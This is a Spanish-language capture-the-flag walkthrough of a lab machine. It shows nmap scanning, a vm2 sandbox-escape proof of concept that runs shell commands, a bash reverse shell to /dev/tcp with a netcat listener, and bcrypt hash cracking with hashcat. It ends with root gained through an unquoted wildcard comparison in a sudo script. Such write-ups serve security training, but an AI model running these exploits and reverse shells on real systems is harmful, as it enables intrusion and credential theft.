Descripción:#
Maquina muy entretenida que nos enseña a explotar una vulnerabilidad en la libreria vm2 para luego mediante una base de datos conseguir la flag de usuario para escalar privilegios mediante un permiso de sudoers que por una mala configuracion nos permite listar la contraseña de root.
Enumeración#
sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn IP -oG allPorts
nmap -sCV -p22,80,3000 -A -oN target IP
Si tratamos de usar gobuster no encontraremos ningun subdominio ni subdirectorio interesante por lo que no lo voy a mostrar.
Puerto 80#
Podemos ver como tenemos la posibilidad de ejecutar comandos node.js usando la libreria vm2 ademas de esto no vamos a encontrar nada más intreresante por lo que vamos a buscar vulnerabilidades de la libreria.
Encontraremos la siguiente poc para la libreria en github que es la que vamos a estar usando POC.
const {VM} = require("vm2");
const vm = new VM();
const code = `
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync('touch pwned');
}
`
console.log(vm.run(code));
User#
Ya con esto vamos a poder ejecutar comandos y asi montar una revshell, nos dirigiremos a la pagina RevShells y en nuestra poc ejecutaremos el siguiente comando:
#Primero ponte en escucha en tu maquina (el siguiente comando)
bash -c "/bin/bash -i >& /dev/tcp/IP/PUERTO 0>&1"
Y nos pondremos en escucha con netcat en nuestra maquina local:
nc -lvnp PUERTO
Ya con esto le pediremos a la pagina que ejecute nuestro codigo.
Listo lo primero es hacer el tratamiento de la tty:
script /dev/null -c bash
Ctrl + Z
stty raw -echo; fg
reset xterm
export TERM=xterm
Ya en esta parte con find podemos encontrar una base de datos:
find /var/www/ -name *.db 2>/dev/null
Y veremos que hay una base de datos, usando file nos daremos cuenta que es una base de datos sqlite:
Con esto podremos ver la base de datos que dentro tiene un hash:
Y con el siguiente comando de hashcat podremos obtener la contraseña para ingresar como joshua:
hashcat hash.txt --wordlist /usr/share/wordlist/rockyou.txt -m 3200
Root#
Enumerando encontramos este script que tenemos permiso de ejecutar como sudo:
Si vemos el script esta mal montado por lo que cuando pida la contraseña podemos usar el * y nos dira que es correcto esto debido a que si no usamos dobles comillas para esas variables DB_PASS y USER_PASS podemos usar el * de forma que sin importar cual se la contraseña nos la dara como correcta esto tambien nos habilita la opcion de obtener la contraseña con python. Aquí un ejemplo de porque esto pasa:
Para poder interceptar la contraseña vamos a usar pspy igual que en las anteriores maquinas que lo hemos usado.
Y ahi tenemos la contraseña.
Si tienen curiosiodad de como se hacia mediante el script de python pueden ver esta parte del directo de s4vitar.











